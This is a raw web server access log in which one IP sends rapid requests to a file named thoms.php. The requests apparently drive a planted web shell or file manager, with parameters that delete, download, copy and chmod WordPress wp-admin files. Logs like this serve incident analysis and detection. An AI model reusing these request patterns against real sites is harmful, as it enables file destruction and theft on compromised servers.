45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=my-sites.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?del=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?dl=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustomize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustomize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustomize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?del=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?dl=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-reading.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22190 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?del=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-general.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?chmod=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=credits.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?chmod=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?dl=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?del=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?del=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?dl=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?dl=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?chmod=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?dl=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22278 "https://163.245.207.76:443/thoms.php?chmod=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?chmod=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/site-health-info.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22033 "https://163.245.207.76:443/thoms.php?chmod=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22286 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?chmod=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22274 "https://163.245.207.76:443/thoms.php?chmod=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?del=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tags.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22266 "https://163.245.207.76:443/thoms.php?del=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-discussion.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?dl=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?chmod=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?dl=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?chmod=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22207 "https://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?chmod=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?del=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22190 "https://163.245.207.76:443/thoms.php?del=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
